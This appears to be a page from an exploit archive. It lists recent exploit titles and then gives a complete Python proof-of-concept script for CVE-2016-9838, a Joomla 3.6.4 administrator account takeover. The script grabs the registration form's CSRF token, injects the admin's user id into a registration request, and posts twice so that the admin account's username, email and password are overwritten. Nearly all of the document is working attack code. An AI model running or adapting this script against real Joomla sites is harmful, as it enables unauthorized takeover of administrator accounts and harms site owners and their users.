d0b74905e8
17 new exploits Google Android - 'pm_qos' KASLR Bypass macOS 10.12.1 / iOS 10.2 - Kernel Userspace Pointer Memory Corruption macOS 10.12.1 / iOS Kernel - 'IOService::matchPassive' Use-After-Free macOS 10.12.1 / iOS Kernel - 'host_self_trap' Use-After-Free Systemd 228 - Privilege Escalation (PoC) OpenSSH 6.8 < 6.9 - 'PTY' Privilege Escalation Autodesk Backburner Manager 3 < 2016.0.0.2150 - Null Dereference Denial of Service Haraka < 2.8.9 - Remote Command Execution Linux/x86_64 - execve /bin/sh Shellcode (22 bytes) Drupal 7.0 < 7.31 - SQL Injection (SA-CORE-2014-005) (1) Drupal 7.0 < 7.31 - SQL Injection (1) Drupal 7.0 < 7.31 - SQL Injection (SA-CORE-2014-005) (2) Drupal 7.0 < 7.31 - SQL Injection (2) Pear HTTP_Upload 1.0.0b3 - Arbitrary File Upload KB Affiliate Referral Script 1.0 - Authentication Bypass KB Login Authentication Script 1.1 - Authentication Bypass KB Messages PHP Script 1.0 - Authentication Bypass Web Based TimeSheet Script - Authentication Bypass TM RG4332 Wireless Router - Arbitrary File Disclosure PHPBack < 1.3.1 - SQL Injection / Cross-Site Scripting Polycom VVX Web Interface - Change Admin Password
56 lines
No EOL
1.5 KiB
Python
Executable file
56 lines
No EOL
1.5 KiB
Python
Executable file
#!/usr/bin/python3
|
|
# CVE-2016-9838: Joomla! <= 3.6.4 Admin TakeOver
|
|
# cf
|
|
# Source: https://www.ambionics.io/blog/cve-2016-9838-joomla-account-takeover-and-remote-code-execution
|
|
|
|
import bs4
|
|
import requests
|
|
import random
|
|
|
|
|
|
ADMIN_ID = 384
|
|
url = 'http://vmweb.lan/Joomla-3.6.4/'
|
|
|
|
form_url = url + 'index.php/component/users/?view=registration'
|
|
action_url = url + 'index.php/component/users/?task=registration.register'
|
|
|
|
username = 'user%d' % random.randrange(1000, 10000)
|
|
email = username + '@yopmail.com'
|
|
password = 'ActualRandomChimpanzee123'
|
|
|
|
user_data = {
|
|
'name': username,
|
|
'username': username,
|
|
'password1': password,
|
|
'password2': password + 'XXXinvalid',
|
|
'email1': email,
|
|
'email2': email,
|
|
'id': '%d' % ADMIN_ID
|
|
}
|
|
|
|
session = requests.Session()
|
|
|
|
# Grab original data from the form, including the CSRF token
|
|
|
|
response = session.get(form_url)
|
|
soup = bs4.BeautifulSoup(response.text, 'lxml')
|
|
|
|
form = soup.find('form', id='member-registration')
|
|
data = {e['name']: e['value'] for e in form.find_all('input')}
|
|
|
|
# Build our modified data array
|
|
|
|
user_data = {'jform[%s]' % k: v for k, v in user_data.items()}
|
|
data.update(user_data)
|
|
|
|
# First request will get denied because the two passwords are mismatched
|
|
|
|
response = session.post(action_url, data=data)
|
|
|
|
# The second will work
|
|
|
|
data['jform[password2]'] = data['jform[password1]']
|
|
del data['jform[id]']
|
|
response = session.post(action_url, data=data)
|
|
|
|
print("Account modified to user: %s [%s]" % (username, email)) |